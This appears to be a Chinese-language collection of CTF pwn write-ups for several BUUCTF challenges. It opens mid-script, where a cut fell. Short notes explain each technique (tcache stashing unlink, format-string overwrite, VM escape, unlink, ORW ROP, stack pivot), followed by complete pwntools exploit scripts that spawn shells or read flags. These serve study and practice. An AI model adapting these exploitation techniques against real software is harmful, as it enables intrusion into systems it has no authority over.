p64(0) + p64(0x4008AC) + p64(0) + p64(1) + p64(0x411068) + p64(7) + p64(0x1000) + p64(0x411070) + p64(0) + p64(0x411070) p.sendline(payload) p.interactive()
pwnable_simple_login
挺有意思的一道题
input 最长只能是 0xc
auth 是进行加密后的对比,这里可以溢出 4 个字节,覆盖 ebp
如何是如果返回为真,再接着判断
由于可以覆盖 ebp ,并且我们知道输入的数据再 input -> 0x0811EB40 中,那么,如果我们这么构造 payload
payload = b'a'*4 + p32(0x08049284) + p32(0x0811EB40)
这样, leave 后,esp 就执行了我们的 system('/bin/sh') ,ret 后就能 get shell 了
from pwn import * from struct import pack import base64 context(os = 'linux', arch = 'amd64', log_level='debug') p = process('./pwn') #p = remote('node4.buuoj.cn', 27295) elf = ELF('./pwn') #libc = ELF('/lib/i386-linux-gnu/libc.so.6') #libc = ELF('buu/libc-2.23.so') #libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('buu/libc-2.27.so') #libc = ELF('buu/libc-2.27-x64.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def debug(): gdb.attach(p) pause() payload = b'a'*4 + p32(0x08049284) + p32(0x0811EB40) payload = base64.b64encode(payload) p.recv() p.sendline(payload) p.interactive()
hitcon_ctf_2019_one_punch
与红包题相比,同样是 libc_2.29 ,保护全开,并且也是 UAF 漏洞 + orw_rop,也需要通过 Tcache Stashing Unlink Attack 来满足后门的实现。
Tcache Stashing Unlink Attack 的攻击方法和红包题一样,主要是不像红包题不能够栈迁移。
这里是这么处理的,我们可以利用 tcache bin attack 修改 malloc_hook ,利用其执行 orw_rop
当执行到 rip = malloc_hook = 0x1 的时候,可以看到我们写入的 row_rop 距离 rsp 0x48 ,所以当我们把 malloc_hook 修改为 add rsp, 0x48 ; ret 的时候,就可以接着执行 orw_rop 了
但是这里不是很好调试,除非提前知道这种解法,不是如果 payload 不是 orw_rop 等可执行指令,而是其它数据的话,是无法调试到这里的
并且使用的 orw_rop 不同了,这里是用系统调用的方法
exp
from pwn import * from struct import pack context(os = 'linux', arch = 'amd64', log_level='debug') p = process('./pwn') #p = remote('node4.buuoj.cn', 25791) elf = ELF('./pwn') libc = ELF('glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so') #libc = ELF('buu/libc-2.23.so') #libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('buu/libc-2.27.so') #libc = ELF('buu/libc-2.27-x64.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def debug(): gdb.attach(p) pause() def add(index, content): p.sendlineafter(b'> ', b'1') p.sendlineafter(b'idx: ', str(index)) p.sendlineafter(b': ', content) def edit(index, content): p.sendlineafter(b'> ', b'2') p.sendlineafter(b'idx: ', str(index)) p.sendlineafter(b': ', content) def show(index): p.sendlineafter(b'> ', b'3') p.sendlineafter(b'idx: ', str(index)) def free(index): p.sendlineafter(b'> ', b'4') p.sendlineafter(b'idx: ', str(index)) def backdoor(content): p.sendlineafter(b'> ', b'50056') p.sendline(content) # leak libc_base heap_base for i in range(7): add(2, b'\x07'*0x400) free(2) add(0, b'a'*0x400) add(1, p64(0xffff)*16) free(0) show(0) libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook'] print(' libc_base -> ', hex(libc_base)) show(2) p.recvuntil(b'hero name: ') heap_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x16b0 print(' heap_base -> ', hex(heap_base)) # Tcache Stashing Unlink Attack add(0, b'a'*0x400) for i in range(6): add(0, b'a'*0xf0) free(0) add(0, b'a'*0x400) add(1, b'a'*0x400) free(0) add(0, b'a'*0x300) add(1, b'a'*0x300) # small bin1 add(2, b'a'*0x400) add(1, b'a'*0x400) free(2) add(0, b'a'*0x300) add(0, b'a'*0x300) # small bin2 add(0, b'/flag' + b'\x00'*0x100) for i in range(2): add(1, b'a'*0x217) free(1) payload = b'a'*0x300 + p64(0) + p64(0x101) + p64(heap_base + 0x2c70) + p64(heap_base + 0x1b) edit(2, payload) add(0, b'a'*0xf0) # malloc_hook -> add_rsp_48h_ret malloc_hook = libc_base + libc.sym['__malloc_hook'] add_rsp_48h_ret = libc_base + 0x8cfd6 edit(1, p64(malloc_hook)) backdoor(b'a') #backdoor(p64(add_rsp_48h_ret)) backdoor(p64(add_rsp_48h_ret)) # orw_rop rax = 0x47cf8 + libc_base rdi = libc_base + 0x26542 rsi = libc_base + 0x26f9e rdx = libc_base + 0x12bda6 leave = libc_base + 0x58373 syscall = 0x10D0B5 + libc_base open_ = libc_base + libc.sym['open'] read = libc_base + libc.sym['read'] write = libc_base + libc.sym['write'] payload = p64(rax) + p64(2) + p64(rdi) + p64(heap_base + 0x3fd0) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall) payload += p64(rax) + p64(0) + p64(rdi) + p64(3) + p64(rsi) + p64(heap_base + 0x670) + p64(rdx) + p64(0x50) + p64(syscall) payload += p64(rax) + p64(1) + p64(rdi) + p64(1) + p64(rsi) + p64(heap_base + 0x670) + p64(rdx) + p64(0x50) + p64(syscall) # get_flag add(1, payload) print(p.recv())
wustctf2020_babyfm
fmt_attack
leak
get_flag
保护全开的格式化字符串,本来以为是利用 fmt_attack 得到程序基地址,然后利用 leak 泄露 secret ,再利用 get_flag 拿 flag
后来发现 leak 只泄露一个字节。。。
这里发现限制 fmt_attack 使用次数的参数也在栈上,把断点打到 *a1 = 1 和 pritnf(format) ,发现该参数的偏移是 7 ,并且在 printf 之前修改,相当于我们可以无限次使用 fmt_attack
这里重复利用 fmt_attack 修改 secret 为 b'\x00' * 0x40
都成了,动调也看到 printf 输出了 flag ,也有 exit(0) 但是程序运行没回显信息,因为有 close(1) 把标准输出给关闭了
那么接下来试试把返回地址修改到 colse(1) 后面的指令,来泄露 flag
可以了
from pwn import * from struct import pack import base64 context(os = 'linux', arch = 'amd64', log_level='debug') #p = process('./pwn') p = remote('node4.buuoj.cn', 25607) elf = ELF('./pwn') #libc = ELF('/lib/i386-linux-gnu/libc.so.6') #libc = ELF('buu/libc-2.23.so') libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('buu/libc-2.27.so') #libc = ELF('buu/libc-2.27-x64.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def debug(): gdb.attach(p) pause() #gdb.attach(p, 'b *$rebase(0xF13)') p.recv() for i in range(3): p.sendline(b'1') # leak pro_base p.sendlineafter(b'>>', b'2') p.sendline(b'%7$n%17$p') p.recvuntil(b'0x') pro_base = int(p.recv(12), 16) - 0x102c print(' pro_base -> ', hex(pro_base)) # leak ret p.sendlineafter(b'>>', b'2') p.sendline(b'%7$n%16$p') p.recvuntil(b'0x') ret = int(p.recv(12), 16) - 0x28 print(' ret -> ', hex(ret)) # ret -> get_flag p.sendlineafter(b'>>', b'2') get_flag = pro_base + 0xf56 payload = b'%' + str(get_flag & 0xffff).encode() + b'c%10$hn' payload = payload.ljust(0x10, b'a') + p64(ret) p.sendline(payload) p.recvuntil(b'flag') print(p.recv())
[OGeek2019 Final]OVM
一道虚拟机逃逸题,有亿点点难
from pwn import * from struct import pack context(os = 'linux', arch = 'amd64', log_level='debug') #p = process('./pwn') p = remote('node4.buuoj.cn', 27922) elf = ELF('./pwn') #libc = ELF('glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so') #libc = ELF('buu/libc-2.23.so') libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('buu/libc-2.27.so') #libc = ELF('buu/libc-2.27-x64.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def debug(): gdb.attach(p) pause() def send_code(opcode, dest, src1, src2): code = (opcode << 24) + (dest << 16) + (src1 << 8) + src2 print(hex(code)) return str(code) p.sendlineafter("PC: ", '0') p.sendlineafter("SP: ", '1') p.sendlineafter("CODE SIZE: ", "24") p.recvuntil("CODE: ") p.sendline(send_code(0x10, 0, 0, 26)) p.sendline(send_code(0x80, 1, 1, 0)) p.sendline(send_code(0x30, 2, 0, 1)) p.sendline(send_code(0x10, 0, 0, 25)) p.sendline(send_code(0x10, 1, 0, 0)) p.sendline(send_code(0x80, 1, 1, 0)) p.sendline(send_code(0x30, 3, 0, 1)) p.sendline(send_code(0x10, 4, 0, 0x10)) p.sendline(send_code(0x10, 5, 0, 8)) p.sendline(send_code(0xC0, 4, 4, 5)) p.sendline(send_code(0x10, 5, 0, 0xa)) p.sendline(send_code(0x10, 6, 0, 4)) p.sendline(send_code(0xC0, 5, 5, 6)) p.sendline(send_code(0x70, 4, 4, 5)) p.sendline(send_code(0x70, 2, 4, 2)) p.sendline(send_code(0x10, 4, 0, 8)) p.sendline(send_code(0x10, 5, 0, 0)) p.sendline(send_code(0x80, 5, 5, 4)) p.sendline(send_code(0x40, 2, 0, 5)) p.sendline(send_code(0x10, 4, 0, 7)) p.sendline(send_code(0x10, 5, 0, 0)) p.sendline(send_code(0x80, 5, 5, 4)) p.sendline(send_code(0x40, 3, 0, 5)) p.sendline(send_code(0xE0, 0, 0, 0)) p.recvuntil("R2: ") low = int(p.recvuntil("\n"), 16) + 8 print("[*]" + hex(low)) p.recvuntil("R3: ") high = int(p.recvuntil("\n"), 16) free_hook_addr = (high << 32) + low print("[*] __free_hook : " + hex(free_hook_addr)) libc_base = free_hook_addr - libc.sym['__free_hook'] sys_addr = libc_base + libc.sym['system'] payload = b"/bin/sh\x00" + p64(sys_addr) p.send(payload) p. interactive()
ciscn_2019_es_4
同一页有道一模一样的
from pwn import * from struct import pack import base64 context(os = 'linux', arch = 'amd64', log_level='debug') #p = process('./pwn') p = remote('node4.buuoj.cn', 27397) elf = ELF('./pwn') #libc = ELF('/lib/i386-linux-gnu/libc.so.6') #libc = ELF('buu/libc-2.23.so') #libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('buu/libc-2.27.so') #libc = ELF('buu/libc-2.27-x64.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so') libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def debug(): gdb.attach(p) pause() def add(index, size, content): p.sendlineafter(b'4.show\n', '1') p.sendlineafter(b'index:\n', str(index)) p.sendlineafter(b'size:\n', str(size)) p.sendafter(b'content:\n', content) def free(index): p.sendlineafter(b'4.show\n', '2') p.sendlineafter(b'index:\n', str(index)) def edit(index, content): p.sendlineafter(b'4.show\n', '3') p.sendlineafter(b'index:\n', str(index)) p.sendafter(b'content:\n', content) def show(index): p.sendlineafter(b'4.show\n', '4') p.sendlineafter(b'index:\n', str(index)) # unlink for i in range(1, 8): add(i, 0xf8, b'a') add(32, 0xf8, b'a') add(8, 0xf8, b'a') add(31, 0xf8, b'a') add(9, 0xf8, b'/bin/sh\x00') ptr = 0x6021E0 payload = p64(0) + p64(0xf1) + p64(ptr - 0x18) + p64(ptr - 0x10) + b'\x00'*0xd0 + p64(0xf0) edit(32, payload) for i in range(1, 8): free(i) free(8) # leak libc_base payload = p64(0)*2 + p64(elf.got['puts']) + p64(ptr - 0x8) payload = payload.ljust(0xf0, b'\x00') + p32(1) + p32(3) edit(32, payload) show(31) libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts'] print(' libc_base -> ', hex(libc_base)) # free_hook -> system free_hook = libc_base + libc.sym['__free_hook'] system = libc_base + libc.sym['system'] edit(32, p64(free_hook)) edit(31, p64(system)) # pwn free(9) p.interactive()
RedPacket_SoEasyPwn
写得比较痛苦的一道题,只没开 canary ,而且是 libc-2.29
看 wp 是说防止我们利用 unsorted attack
这里用的是 Tcache Stashing Unlink Attack
四个功能都齐全,add 是用 calloc 申请堆块, free 存在 UAF 漏洞,并且 edit 只能用一次
并且这是一道 orw 题目,666 选项还存在着栈溢出
只能溢出 0x10 个字节,就是栈溢出了,构造 ROP 到堆块上,然后栈迁移到堆块上执行 orw_rop 泄露 flag
不过得先满足 *qword_4058 + 0x800 > 0x7f0000000000 ,这里本来可以利用 unsorted bin attack ,不过由于是 libc-.2.29 ,所以要用到其它方法,要用到 Tcache Stashing Unlink Attack
具体是利用 calloc 函数不从 tcache bin 申请的特性,来把堆块放入 small bin ,并且利用 UAF 修改 bk ,这样我们就能在 *qword_4058 + 0x800 写入 main_arena_xx 了,这样就能接着利用后门
首先是利用 UAF 泄露堆块地址和 libc_base
# leak libc_base for i in range(8): add(i, 4, b'a') add(8, 1, b'a') for i in range(8): free(i) show(7) libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook'] show(1) heap_addr = u64(p.recv(6).ljust(8, b'\x00')) - 0x1270 print(' libc_base -> ', hex(libc_base)) print(' heap_addr -> ', hex(heap_addr))
这里值得注意的是,由于 small bin 的检测机制,所以要保证与 small bin 大小的 chunk 被放入六个,这样 small bin 只会检测 fd 而不会去检测 bk ,利用这个我们就可以在 *qword_4058 + 0x800 写入 main_arena_xx
在加上我们利用 calloc 不优先从 tcache bin 取 bin 的特性,可以把 unsorted bin 切割后剩下的堆块放入 small bin
# Tcache Stashing Unlink Attack add(0, 4, b'a') for i in range(6): add(i, 2, b'a') add(6, 1, b'a') for i in range(6): free(i) # first small bin add(3, 3, b'a') add(0, 4, b'chunk0') add(1, 1, b'chunk1') free(0) add(2, 3, b'chunk2') add(3, 3, b'chunk3') # second small bin add(4, 4, b'chunk4') add(5, 4, b'chunk5') free(4) add(6, 3, b'chunk6') add(7, 3, b'/flag\x00') # start -> Tcache Stashing Unlink Attack payload = b'\x00'*0x300 + p64(0) + p64(0x101) + p64(heap_addr + 0x3f40) + p64(heap_addr + 0x250 + 0x800) edit(4, payload) add(8, 2, b'a')
最后就是构造 orw_rop 了
exp
from pwn import * from struct import pack import base64 context(os = 'linux', arch = 'amd64', log_level='debug') p = process('./pwn') #p = remote('node4.buuoj.cn', 29976) elf = ELF('./pwn') libc = ELF('glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so') #libc = ELF('buu/libc-2.23.so') #libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('buu/libc-2.27.so') #libc = ELF('buu/libc-2.27-x64.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def debug(): gdb.attach(p) pause() def add(index, idx, content): p.sendlineafter(b'Your input: ', b'1') p.sendlineafter(b'idx: ', str(index)) p.sendlineafter(b': ', str(idx)) p.sendlineafter(b'content: ', content) def free(index): p.sendlineafter(b'Your input: ', b'2') p.sendlineafter(b'idx: ', str(index)) def edit(index, content): p.sendlineafter(b'Your input: ', b'3') p.sendlineafter(b'idx: ', str(index)) p.sendlineafter(b'content: ', content) def show(index): p.sendlineafter(b'Your input: ', b'4') p.sendlineafter(b'idx: ', str(index)) #gdb.attach(p, 'b *$rebase(0x144F)') # leak libc_base for i in range(8): add(i, 4, b'a') add(8, 1, b'a') for i in range(8): free(i) show(7) libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook'] show(1) heap_addr = u64(p.recv(6).ljust(8, b'\x00')) - 0x1270 print(' libc_base -> ', hex(libc_base)) print(' heap_addr -> ', hex(heap_addr)) # Tcache Stashing Unlink Attack add(0, 4, b'a') for i in range(6): add(i, 2, b'a') add(6, 1, b'a') for i in range(6): free(i) # first small bin add(3, 3, b'a') add(0, 4, b'chunk0') add(1, 1, b'chunk1') free(0) add(2, 3, b'chunk2') add(3, 3, b'chunk3') # second small bin add(4, 4, b'chunk4') add(5, 4, b'chunk5') free(4) add(6, 3, b'chunk6') add(7, 3, b'/flag\x00') # start -> Tcache Stashing Unlink Attack payload = b'\x00'*0x300 + p64(0) + p64(0x101) + p64(heap_addr + 0x3f40) + p64(heap_addr + 0x250 + 0x800) edit(4, payload) add(8, 2, b'a') # orw_rop rdi = libc_base + 0x26542 rsi = libc_base + 0x26f9e rdx = libc_base + 0x12bda6 leave = libc_base + 0x58373 open_ = libc_base + libc.sym['open'] read = libc_base + libc.sym['read'] write = libc_base + libc.sym['write'] payload = p64(0) payload += p64(rdi) + p64(heap_addr + 0x4ba0) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(open_) payload += p64(rdi) + p64(3) + p64(rsi) + p64(heap_addr + 0x270) + p64(rdx) + p64(0x50) + p64(read) payload += p64(rdi) + p64(1) + p64(rsi) + p64(heap_addr + 0x270) + p64(rdx) + p64(0x50) + p64(write) add(9, 4, payload) # stack_jump p.sendlineafter(b'Your input: ', b'666') payload = b'a'*0x80 + p64(heap_addr + 0x4eb0) + p64(leave) p.sendlineafter(b'What do you want to say?', payload) print(p.recv())